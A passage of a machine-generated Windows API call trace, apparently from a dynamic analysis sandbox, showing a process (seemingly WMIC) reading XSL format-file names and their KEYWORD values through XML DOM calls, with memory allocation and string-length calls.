	[0167.443] IXMLDOMNodeList:get_item (in: This=0x2209cc0, index=1, listItem=0x20f5b0 | out: listItem=0x20f5b0*=0x220bd50) returned 0x0
	[0167.444] IXMLDOMNode:get_text (in: This=0x220bd50, text=0x20f5c0 | out: text=0x20f5c0*="textvaluelist.xsl") returned 0x0
	[0167.444] IXMLDOMNode:get_attributes (in: This=0x220bd50, attributeMap=0x20f5b8 | out: attributeMap=0x20f5b8*=0x22078d0) returned 0x0
	[0167.444] malloc (_Size=0x18) returned 0xc6d50
	[0167.444] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x22078d0, name="KEYWORD", namedItem=0x20f5c8 | out: namedItem=0x20f5c8*=0x220a280) returned 0x0
	[0167.444] free (_Block=0xc6d50) 
	[0167.444] IXMLDOMNode:get_nodeValue (in: This=0x220a280, value=0x20f600 | out: value=0x20f600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="VALUE", varVal2=0x4)) returned 0x0
	[0167.444] malloc (_Size=0x18) returned 0xcc270
	[0167.444] malloc (_Size=0x18) returned 0xcc290
	[0167.445] SysStringLen (param_1="VALUE") returned 0x5
	[0167.445] SysStringLen (param_1="TABLE") returned 0x5
	[0167.445] SysStringLen (param_1="TABLE") returned 0x5
	[0167.445] SysStringLen (param_1="VALUE") returned 0x5
	[0167.445] malloc (_Size=0x30) returned 0xc80c0
	[0167.445] IUnknown:Release (This=0x220bd50) returned 0x0
	[0167.445] IUnknown:Release (This=0x22078d0) returned 0x0
	[0167.445] IUnknown:Release (This=0x220a280) returned 0x0
	[0167.445] IXMLDOMNodeList:get_item (in: This=0x2209cc0, index=2, listItem=0x20f5b0 | out: listItem=0x20f5b0*=0x220bd50) returned 0x0
	[0167.445] IXMLDOMNode:get_text (in: This=0x220bd50, text=0x20f5c0 | out: text=0x20f5c0*="textvaluelist.xsl") returned 0x0
	[0167.445] IXMLDOMNode:get_attributes (in: This=0x220bd50, attributeMap=0x20f5b8 | out: attributeMap=0x20f5b8*=0x22078d0) returned 0x0
	[0167.445] malloc (_Size=0x18) returned 0xcc2b0
	[0167.446] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x22078d0, name="KEYWORD", namedItem=0x20f5c8 | out: namedItem=0x20f5c8*=0x220a280) returned 0x0
	[0167.446] free (_Block=0xcc2b0) 
	[0167.446] IXMLDOMNode:get_nodeValue (in: This=0x220a280, value=0x20f600 | out: value=0x20f600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="LIST", varVal2=0x4)) returned 0x0
	[0167.446] malloc (_Size=0x18) returned 0xcc2b0
	[0167.446] malloc (_Size=0x18) returned 0xcc2d0
	[0167.446] SysStringLen (param_1="LIST") returned 0x4
	[0167.446] SysStringLen (param_1="TABLE") returned 0x5
	[0167.446] malloc (_Size=0x30) returned 0xc8100
	[0167.447] IUnknown:Release (This=0x220bd50) returned 0x0
	[0167.447] IUnknown:Release (This=0x22078d0) returned 0x0
	[0167.447] IUnknown:Release (This=0x220a280) returned 0x0
	[0167.447] IXMLDOMNodeList:get_item (in: This=0x2209cc0, index=3, listItem=0x20f5b0 | out: listItem=0x20f5b0*=0x220bd50) returned 0x0
	[0167.447] IXMLDOMNode:get_text (in: This=0x220bd50, text=0x20f5c0 | out: text=0x20f5c0*="rawxml.xsl") returned 0x0
	[0167.447] IXMLDOMNode:get_attributes (in: This=0x220bd50, attributeMap=0x20f5b8 | out: attributeMap=0x20f5b8*=0x22078d0) returned 0x0
	[0167.447] malloc (_Size=0x18) returned 0xcc2f0
	[0167.447] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x22078d0, name="KEYWORD", namedItem=0x20f5c8 | out: namedItem=0x20f5c8*=0x220a280) returned 0x0
	[0167.448] free (_Block=0xcc2f0) 
	[0167.448] IXMLDOMNode:get_nodeValue (in: This=0x220a280, value=0x20f600 | out: value=0x20f600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="RAWXML", varVal2=0x4)) returned 0x0
	[0167.448] malloc (_Size=0x18) returned 0xcc2f0
	[0167.448] malloc (_Size=0x18) returned 0xcc310
	[0167.448] SysStringLen (param_1="RAWXML") returned 0x6
	[0167.448] SysStringLen (param_1="TABLE") returned 0x5
	[0167.448] SysStringLen (param_1="RAWXML") returned 0x6
	[0167.448] SysStringLen (param_1="LIST") returned 0x4
	[0167.448] SysStringLen (param_1="LIST") returned 0x4
	[0167.448] SysStringLen (param_1="RAWXML") returned 0x6
	[0167.448] malloc (_Size=0x30) returned 0xc8140
	[0167.449] IUnknown:Release (This=0x220bd50) returned 0x0
	[0167.449] IUnknown:Release (This=0x22078d0) returned 0x0
	[0167.449] IUnknown:Release (This=0x220a280) returned 0x0
	[0167.449] IXMLDOMNodeList:get_item (in: This=0x2209cc0, index=4, listItem=0x20f5b0 | out: listItem=0x20f5b0*=0x220bd50) returned 0x0
	[0167.449] IXMLDOMNode:get_text (in: This=0x220bd50, text=0x20f5c0 | out: text=0x20f5c0*="htable.xsl") returned 0x0
	[0167.449] IXMLDOMNode:get_attributes (in: This=0x220bd50, attributeMap=0x20f5b8 | out: attributeMap=0x20f5b8*=0x22078d0) returned 0x0
	[0167.449] malloc (_Size=0x18) returned 0xcc330
	[0167.449] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x22078d0, name="KEYWORD", namedItem=0x20f5c8 | out: namedItem=0x20f5c8*=0x220a280) returned 0x0
	[0167.449] free (_Block=0xcc330) 
	[0167.450] IXMLDOMNode:get_nodeValue (in: This=0x220a280, value=0x20f600 | out: value=0x20f600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="HTABLE", varVal2=0x4)) returned 0x0
	[0167.450] malloc (_Size=0x18) returned 0xcc330
	[0167.450] malloc (_Size=0x18) returned 0xcc350
	[0167.450] SysStringLen (param_1="HTABLE") returned 0x6
	[0167.450] SysStringLen (param_1="TABLE") returned 0x5
	[0167.450] SysStringLen (param_1="HTABLE") returned 0x6
	[0167.450] SysStringLen (param_1="LIST") returned 0x4
	[0167.450] malloc (_Size=0x30) returned 0xc8180
	[0167.450] IUnknown:Release (This=0x220bd50) returned 0x0
	[0167.451] IUnknown:Release (This=0x22078d0) returned 0x0
	[0167.451] IUnknown:Release (This=0x220a280) returned 0x0
	[0167.451] IXMLDOMNodeList:get_item (in: This=0x2209cc0, index=5, listItem=0x20f5b0 | out: listItem=0x20f5b0*=0x220bd50) returned 0x0
	[0167.451] IXMLDOMNode:get_text (in: This=0x220bd50, text=0x20f5c0 | out: text=0x20f5c0*="hform.xsl") returned 0x0
	[0167.451] IXMLDOMNode:get_attributes (in: This=0x220bd50, attributeMap=0x20f5b8 | out: attributeMap=0x20f5b8*=0x22078d0) returned 0x0
	[0167.451] malloc (_Size=0x18) returned 0xcc370
	[0167.451] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x22078d0, name="KEYWORD", namedItem=0x20f5c8 | out: namedItem=0x20f5c8*=0x220a280) returned 0x0
	[0167.451] free (_Block=0xcc370) 
	[0167.451] IXMLDOMNode:get_nodeValue (in: This=0x220a280, value=0x20f600 | out: value=0x20f600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="HFORM", varVal2=0x4)) returned 0x0
	[0167.452] malloc (_Size=0x18) returned 0xcc370
	[0167.452] malloc (_Size=0x18) returned 0xcc390
	[0167.452] SysStringLen (param_1="HFORM") returned 0x5
	[0167.452] SysStringLen (param_1="TABLE") returned 0x5
	[0167.452] SysStringLen (param_1="HFORM") returned 0x5
	[0167.452] SysStringLen (param_1="LIST") returned 0x4
	[0167.452] SysStringLen (param_1="HFORM") returned 0x5
	[0167.452] SysStringLen (param_1="HTABLE") returned 0x6
	[0167.452] malloc (_Size=0x30) returned 0xc81c0
	[0167.452] IUnknown:Release (This=0x220bd50) returned 0x0
	[0167.453] IUnknown:Release (This=0x22078d0) returned 0x0
	[0167.453] IUnknown:Release (This=0x220a280) returned 0x0
	[0167.453] IXMLDOMNodeList:get_item (in: This=0x2209cc0, index=6, listItem=0x20f5b0 | out: listItem=0x20f5b0*=0x220bd50) returned 0x0
	[0167.453] IXMLDOMNode:get_text (in: This=0x220bd50, text=0x20f5c0 | out: text=0x20f5c0*="xml.xsl") returned 0x0
	[0167.453] IXMLDOMNode:get_attributes (in: This=0x220bd50, attributeMap=0x20f5b8 | out: attributeMap=0x20f5b8*=0x22078d0) returned 0x0
	[0167.453] malloc (_Size=0x18) returned 0xcc3b0
	[0167.453] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x22078d0, name="KEYWORD", namedItem=0x20f5c8 | out: namedItem=0x20f5c8*=0x220a280) returned 0x0
	[0167.453] free (_Block=0xcc3b0) 
	[0167.454] IXMLDOMNode:get_nodeValue (in: This=0x220a280, value=0x20f600 | out: value=0x20f600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XML", varVal2=0x4)) returned 0x0
	[0167.454] malloc (_Size=0x18) returned 0xcc3b0
	[0167.454] malloc (_Size=0x18) returned 0xcc3d0
	[0167.454] SysStringLen (param_1="XML") returned 0x3
	[0167.454] SysStringLen (param_1="TABLE") returned 0x5
	[0167.454] SysStringLen (param_1="XML") returned 0x3
	[0167.454] SysStringLen (param_1="VALUE") returned 0x5
	[0167.454] SysStringLen (param_1="VALUE") returned 0x5
	[0167.454] SysStringLen (param_1="XML") returned 0x3
	[0167.454] malloc (_Size=0x30) returned 0xc8200
	[0167.455] IUnknown:Release (This=0x220bd50) returned 0x0
	[0167.455] IUnknown:Release (This=0x22078d0) returned 0x0
	[0167.455] IUnknown:Release (This=0x220a280) returned 0x0
	[0167.455] IXMLDOMNodeList:get_item (in: This=0x2209cc0, index=7, listItem=0x20f5b0 | out: listItem=0x20f5b0*=0x220bd50) returned 0x0
	[0167.455] IXMLDOMNode:get_text (in: This=0x220bd50, text=0x20f5c0 | out: text=0x20f5c0*="mof.xsl") returned 0x0
	[0167.455] IXMLDOMNode:get_attributes (in: This=0x220bd50, attributeMap=0x20f5b8 | out: attributeMap=0x20f5b8*=0x22078d0) returned 0x0
	[0167.455] malloc (_Size=0x18) returned 0xcc3f0
	[0167.455] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x22078d0, name="KEYWORD", namedItem=0x20f5c8 | out: namedItem=0x20f5c8*=0x220a280) returned 0x0
	[0167.456] free (_Block=0xcc3f0) 
	[0167.456] IXMLDOMNode:get_nodeValue (in: This=0x220a280, value=0x20f600 | out: value=0x20f600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MOF", varVal2=0x4)) returned 0x0
	[0167.456] malloc (_Size=0x18) returned 0xcc3f0
	[0167.456] malloc (_Size=0x18) returned 0xcc410
	[0167.456] SysStringLen (param_1="MOF") returned 0x3
	[0167.456] SysStringLen (param_1="TABLE") returned 0x5
	[0167.456] SysStringLen (param_1="MOF") returned 0x3
	[0167.456] SysStringLen (param_1="LIST") returned 0x4
	[0167.456] SysStringLen (param_1="MOF") returned 0x3
	[0167.456] SysStringLen (param_1="RAWXML") returned 0x6
	[0167.456] SysStringLen (param_1="LIST") returned 0x4
	[0167.457] SysStringLen (param_1="MOF") returned 0x3
	[0167.457] malloc (_Size=0x30) returned 0xc8240
	[0167.457] IUnknown:Release (This=0x220bd50) returned 0x0
	[0167.457] IUnknown:Release (This=0x22078d0) returned 0x0
	[0167.457] IUnknown:Release (This=0x220a280) returned 0x0
	[0167.457] IXMLDOMNodeList:get_item (in: This=0x2209cc0, index=8, listItem=0x20f5b0 | out: listItem=0x20f5b0*=0x220bd50) returned 0x0
	[0167.457] IXMLDOMNode:get_text (in: This=0x220bd50, text=0x20f5c0 | out: text=0x20f5c0*="csv.xsl") returned 0x0
	[0167.457] IXMLDOMNode:get_attributes (in: This=0x220bd50, attributeMap=0x20f5b8 | out: attributeMap=0x20f5b8*=0x22078d0) returned 0x0
	[0167.457] malloc (_Size=0x18) returned 0xcc430
	[0167.457] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x22078d0, name="KEYWORD", namedItem=0x20f5c8 | out: namedItem=0x20f5c8*=0x220a280) returned 0x0
	[0167.458] free (_Block=0xcc430) 
	[0167.458] IXMLDOMNode:get_nodeValue (in: This=0x220a280, value=0x20f600 | out: value=0x20f600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CSV", varVal2=0x4)) returned 0x0
	[0167.458] malloc (_Size=0x18) returned 0xcc430
	[0167.458] malloc (_Size=0x18) returned 0xcc450
	[0167.458] SysStringLen (param_1="CSV") returned 0x3
	[0167.458] SysStringLen (param_1="TABLE") returned 0x5
	[0167.458] SysStringLen (param_1="CSV") returned 0x3
	[0167.458] SysStringLen (param_1="LIST") returned 0x4
	[0167.458] SysStringLen (param_1="CSV") returned 0x3
	[0167.458] SysStringLen (param_1="HTABLE") returned 0x6
	[0167.458] SysStringLen (param_1="CSV") returned 0x3
	[0167.458] SysStringLen (param_1="HFORM") returned 0x5
	[0167.458] malloc (_Size=0x30) returned 0xc8280
	[0167.459] IUnknown:Release (This=0x220bd50) returned 0x0
	[0167.459] IUnknown:Release (This=0x22078d0) returned 0x0
	[0167.459] IUnknown:Release (This=0x220a280) returned 0x0
	[0167.459] IXMLDOMNodeList:get_item (in: This=0x2209cc0, index=9, listItem=0x20f5b0 | out: listItem=0x20f5b0*=0x220bd50) returned 0x0
	[0167.459] IXMLDOMNode:get_text (in: This=0x220bd50, text=0x20f5c0 | out: text=0x20f5c0*="texttable.xsl") returned 0x0
	[0167.459] IXMLDOMNode:get_attributes (in: This=0x220bd50, attributeMap=0x20f5b8 | out: attributeMap=0x20f5b8*=0x22078d0) returned 0x0
	[0167.459] malloc (_Size=0x18) returned 0xcc470
	[0167.459] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x22078d0, name="KEYWORD", namedItem=0x20f5c8 | out: namedItem=0x20f5c8*=0x220a280) returned 0x0
	[0167.459] free (_Block=0xcc470) 
	[0167.459] IXMLDOMNode:get_nodeValue (in: This=0x220a280, value=0x20f600 | out: value=0x20f600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="texttablewsys.xsl", varVal2=0x4)) returned 0x0
	[0167.460] malloc (_Size=0x18) returned 0xcc470
	[0167.460] malloc (_Size=0x18) returned 0xcc490
	[0167.460] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0167.460] SysStringLen (param_1="TABLE") returned 0x5
	[0167.460] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0167.460] SysStringLen (param_1="VALUE") returned 0x5
	[0167.460] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0167.460] SysStringLen (param_1="XML") returned 0x3
	[0167.460] SysStringLen (param_1="XML") returned 0x3
	[0167.460] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0167.460] malloc (_Size=0x30) returned 0xc82c0
	[0167.461] IUnknown:Release (This=0x220bd50) returned 0x0
	[0167.461] IUnknown:Release (This=0x22078d0) returned 0x0
	[0167.461] IUnknown:Release (This=0x220a280) returned 0x0
	[0167.461] IXMLDOMNodeList:get_item (in: This=0x2209cc0, index=10, listItem=0x20f5b0 | out: listItem=0x20f5b0*=0x220bd50) returned 0x0
	[0167.461] IXMLDOMNode:get_text (in: This=0x220bd50, text=0x20f5c0 | out: text=0x20f5c0*="texttable.xsl") returned 0x0
	[0167.461] IXMLDOMNode:get_attributes (in: This=0x220bd50, attributeMap=0x20f5b8 | out: attributeMap=0x20f5b8*=0x22078d0) returned 0x0
	[0167.461] malloc (_Size=0x18) returned 0xcc4b0
	[0167.461] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x22078d0, name="KEYWORD", namedItem=0x20f5c8 | out: namedItem=0x20f5c8*=0x220a280) returned 0x0
	[0167.462] free (_Block=0xcc4b0) 
	[0167.462] IXMLDOMNode:get_nodeValue (in: This=0x220a280, value=0x20f600 | out: value=0x20f600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="texttablewsys", varVal2=0x4)) returned 0x0
	[0167.462] malloc (_Size=0x18) returned 0xcc4b0
	[0167.462] malloc (_Size=0x18) returned 0xcc4d0
	[0167.462] SysStringLen (param_1="texttablewsys") returned 0xd
	[0167.462] SysStringLen (param_1="TABLE") returned 0x5
	[0167.462] SysStringLen (param_1="texttablewsys") returned 0xd
	[0167.462] SysStringLen (param_1="XML") returned 0x3
	[0167.462] SysStringLen (param_1="texttablewsys") returned 0xd
	[0167.462] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0167.462] SysStringLen (param_1="XML") returned 0x3
	[0167.463] SysStringLen (param_1="texttablewsys") returned 0xd
	[0167.463] malloc (_Size=0x30) returned 0xc8300
	[0167.463] IUnknown:Release (This=0x220bd50) returned 0x0
	[0167.463] IUnknown:Release (This=0x22078d0) returned 0x0
	[0167.463] IUnknown:Release (This=0x220a280) returned 0x0
	[0167.463] IXMLDOMNodeList:get_item (in: This=0x2209cc0, index=11, listItem=0x20f5b0 | out: listItem=0x20f5b0*=0x220bd50) returned 0x0
	[0167.463] IXMLDOMNode:get_text (in: This=0x220bd50, text=0x20f5c0 | out: text=0x20f5c0*="texttable.xsl") returned 0x0
	[0167.463] IXMLDOMNode:get_attributes (in: This=0x220bd50, attributeMap=0x20f5b8 | out: attributeMap=0x20f5b8*=0x22078d0) returned 0x0
	[0167.463] malloc (_Size=0x18) returned 0xcc4f0
	[0167.463] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x22078d0, name="KEYWORD", namedItem=0x20f5c8 | out: namedItem=0x20f5c8*=0x220a280) returned 0x0
	[0167.464] free (_Block=0xcc4f0) 
	[0167.464] IXMLDOMNode:get_nodeValue (in: This=0x220a280, value=0x20f600 | out: value=0x20f600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformat.xsl", varVal2=0x4)) returned 0x0
	[0167.464] malloc (_Size=0x18) returned 0xcc4f0
	[0167.464] malloc (_Size=0x18) returned 0xcc510
	[0167.464] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0167.464] SysStringLen (param_1="TABLE") returned 0x5
	[0167.464] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0167.464] SysStringLen (param_1="XML") returned 0x3
	[0167.464] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0167.464] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0167.464] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0167.465] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0167.465] malloc (_Size=0x30) returned 0xc8340
	[0167.465] IUnknown:Release (This=0x220bd50) returned 0x0
	[0167.465] IUnknown:Release (This=0x22078d0) returned 0x0
	[0167.465] IUnknown:Release (This=0x220a280) returned 0x0
	[0167.465] IXMLDOMNodeList:get_item (in: This=0x2209cc0, index=12, listItem=0x20f5b0 | out: listItem=0x20f5b0*=0x220bd50) returned 0x0
	[0167.465] IXMLDOMNode:get_text (in: This=0x220bd50, text=0x20f5c0 | out: text=0x20f5c0*="texttable.xsl") returned 0x0
	[0167.465] IXMLDOMNode:get_attributes (in: This=0x220bd50, attributeMap=0x20f5b8 | out: attributeMap=0x20f5b8*=0x22078d0) returned 0x0
	[0167.465] malloc (_Size=0x18) returned 0xcc530
	[0167.591] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x22078d0, name="KEYWORD", namedItem=0x20f5c8 | out: namedItem=0x20f5c8*=0x220a280) returned 0x0
	[0167.592] free (_Block=0xcc530) 
	[0167.592] IXMLDOMNode:get_nodeValue (in: This=0x220a280, value=0x20f600 | out: value=0x20f600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformat", varVal2=0x4)) returned 0x0
	[0167.592] malloc (_Size=0x18) returned 0xcc530
	[0167.592] malloc (_Size=0x18) returned 0xcc550
	[0167.592] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0167.592] SysStringLen (param_1="TABLE") returned 0x5
	[0167.592] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0167.592] SysStringLen (param_1="XML") returned 0x3
	[0167.592] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0167.592] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0167.593] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0167.593] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0167.593] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0167.593] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0167.593] malloc (_Size=0x30) returned 0xc8380
	[0167.593] IUnknown:Release (This=0x220bd50) returned 0x0
	[0167.593] IUnknown:Release (This=0x22078d0) returned 0x0
	[0167.593] IUnknown:Release (This=0x220a280) returned 0x0
	[0167.593] IXMLDOMNodeList:get_item (in: This=0x2209cc0, index=13, listItem=0x20f5b0 | out: listItem=0x20f5b0*=0x220bd50) returned 0x0
	[0167.594] IXMLDOMNode:get_text (in: This=0x220bd50, text=0x20f5c0 | out: text=0x20f5c0*="texttable.xsl") returned 0x0
	[0167.594] IXMLDOMNode:get_attributes (in: This=0x220bd50, attributeMap=0x20f5b8 | out: attributeMap=0x20f5b8*=0x22078d0) returned 0x0
	[0167.594] malloc (_Size=0x18) returned 0xcc570
	[0167.594] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x22078d0, name="KEYWORD", namedItem=0x20f5c8 | out: namedItem=0x20f5c8*=0x220a280) returned 0x0
	[0167.594] free (_Block=0xcc570) 
	[0167.594] IXMLDOMNode:get_nodeValue (in: This=0x220a280, value=0x20f600 | out: value=0x20f600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformatnosys.xsl", varVal2=0x4)) returned 0x0
	[0167.594] malloc (_Size=0x18) returned 0xcc570
	[0167.594] malloc (_Size=0x18) returned 0xcc590
	[0167.594] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0167.595] SysStringLen (param_1="TABLE") returned 0x5
	[0167.595] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0167.595] SysStringLen (param_1="XML") returned 0x3
	[0167.595] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0167.595] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0167.595] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0167.595] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0167.595] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0167.595] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0167.595] malloc (_Size=0x30) returned 0xc83c0
	[0167.595] IUnknown:Release (This=0x220bd50) returned 0x0
	[0167.595] IUnknown:Release (This=0x22078d0) returned 0x0
	[0167.596] IUnknown:Release (This=0x220a280) returned 0x0
	[0167.596] IXMLDOMNodeList:get_item (in: This=0x2209cc0, index=14, listItem=0x20f5b0 | out: listItem=0x20f5b0*=0x220bd50) returned 0x0
	[0167.596] IXMLDOMNode:get_text (in: This=0x220bd50, text=0x20f5c0 | out: text=0x20f5c0*="texttable.xsl") returned 0x0
	[0167.596] IXMLDOMNode:get_attributes (in: This=0x220bd50, attributeMap=0x20f5b8 | out: attributeMap=0x20f5b8*=0x22078d0) returned 0x0
	[0167.596] malloc (_Size=0x18) returned 0xcc5b0
	[0167.596] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x22078d0, name="KEYWORD", namedItem=0x20f5c8 | out: namedItem=0x20f5c8*=0x220a280) returned 0x0
	[0167.596] free (_Block=0xcc5b0) 
	[0167.596] IXMLDOMNode:get_nodeValue (in: This=0x220a280, value=0x20f600 | out: value=0x20f600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformatnosys", varVal2=0x4)) returned 0x0
	[0167.596] malloc (_Size=0x18) returned 0xcc5b0
	[0167.597] malloc (_Size=0x18) returned 0xcc5d0
	[0167.597] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0167.597] SysStringLen (param_1="TABLE") returned 0x5
	[0167.597] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0167.597] SysStringLen (param_1="XML") returned 0x3
	[0167.597] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0167.597] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0167.597] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0167.597] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0167.597] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0167.597] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0167.597] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0167.597] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16
	[0167.597] malloc (_Size=0x30) returned 0xc8400
	[0167.598] IUnknown:Release (This=0x220bd50) returned 0x0
	[0167.598] IUnknown:Release (This=0x22078d0) returned 0x0
	[0167.598] IUnknown:Release (This=0x220a280) returned 0x0
	[0167.598] IXMLDOMNodeList:get_item (in: This=0x2209cc0, index=15, listItem=0x20f5b0 | out: listItem=0x20f5b0*=0x220bd50) returned 0x0
	[0167.598] IXMLDOMNode:get_text (in: This=0x220bd50, text=0x20f5c0 | out: text=0x20f5c0*="htable.xsl") returned 0x0
	[0167.598] IXMLDOMNode:get_attributes (in: This=0x220bd50, attributeMap=0x20f5b8 | out: attributeMap=0x20f5b8*=0x22078d0) returned 0x0
	[0167.598] malloc (_Size=0x18) returned 0xcc5f0
	[0167.598] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x22078d0, name="KEYWORD", namedItem=0x20f5c8 | out: namedItem=0x20f5c8*=0x220a280) returned 0x0
	[0167.599] free (_Block=0xcc5f0) 
	[0167.599] IXMLDOMNode:get_nodeValue (in: This=0x220a280, value=0x20f600 | out: value=0x20f600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="htable-sortby.xsl", varVal2=0x4)) returned 0x0
	[0167.599] malloc (_Size=0x18) returned 0xcc5f0
	[0167.599] malloc (_Size=0x18) returned 0xcc610
	[0167.599] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0167.599] SysStringLen (param_1="TABLE") returned 0x5
	[0167.599] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0167.599] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0167.599] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0167.599] SysStringLen (param_1="XML") returned 0x3
	[0167.599] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0167.600] SysStringLen (param_1="texttablewsys") returned 0xd
	[0167.600] SysStringLen (param_1="XML") returned 0x3
	[0167.600] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0167.600] malloc (_Size=0x30) returned 0xc8440
	[0167.600] IUnknown:Release (This=0x220bd50) returned 0x0
	[0167.600] IUnknown:Release (This=0x22078d0) returned 0x0
	[0167.600] IUnknown:Release (This=0x220a280) returned 0x0
	[0167.600] IXMLDOMNodeList:get_item (in: This=0x2209cc0, index=16, listItem=0x20f5b0 | out: listItem=0x20f5b0*=0x220bd50) returned 0x0
	[0167.600] IXMLDOMNode:get_text (in: This=0x220bd50, text=0x20f5c0 | out: text=0x20f5c0*="htable.xsl") returned 0x0
	[0167.600] IXMLDOMNode:get_attributes (in: This=0x220bd50, attributeMap=0x20f5b8 | out: attributeMap=0x20f5b8*=0x22078d0) returned 0x0
	[0167.600] malloc (_Size=0x18) returned 0xcc630
	[0167.601] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x22078d0, name="KEYWORD", namedItem=0x20f5c8 | out: namedItem=0x20f5c8*=0x220a280) returned 0x0
	[0167.601] free (_Block=0xcc630) 
	[0167.601] IXMLDOMNode:get_nodeValue (in: This=0x220a280, value=0x20f600 | out: value=0x20f600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="htable-sortby", varVal2=0x4)) returned 0x0
	[0167.601] malloc (_Size=0x18) returned 0xcc630
	[0167.601] malloc (_Size=0x18) returned 0xcc650
	[0167.601] SysStringLen (param_1="htable-sortby") returned 0xd
	[0167.601] SysStringLen (param_1="TABLE") returned 0x5
	[0167.601] SysStringLen (param_1="htable-sortby") returned 0xd
	[0167.601] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0167.601] SysStringLen (param_1="htable-sortby") returned 0xd
	[0167.602] SysStringLen (param_1="XML") returned 0x3
	[0167.602] SysStringLen (param_1="htable-sortby") returned 0xd
	[0167.602] SysStringLen (param_1="texttablewsys") returned 0xd
	[0167.602] SysStringLen (param_1="htable-sortby") returned 0xd
	[0167.602] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0167.602] SysStringLen (param_1="XML") returned 0x3
	[0167.602] SysStringLen (param_1="htable-sortby") returned 0xd
	[0167.602] malloc (_Size=0x30) returned 0xc8480
	[0167.602] IUnknown:Release (This=0x220bd50) returned 0x0
	[0167.602] IUnknown:Release (This=0x22078d0) returned 0x0
	[0167.602] IUnknown:Release (This=0x220a280) returned 0x0
	[0167.602] IXMLDOMNodeList:get_item (in: This=0x2209cc0, index=17, listItem=0x20f5b0 | out: listItem=0x20f5b0*=0x220bd50) returned 0x0
	[0167.602] IXMLDOMNode:get_text (in: This=0x220bd50, text=0x20f5c0 | out: text=0x20f5c0*="mof.xsl") returned 0x0
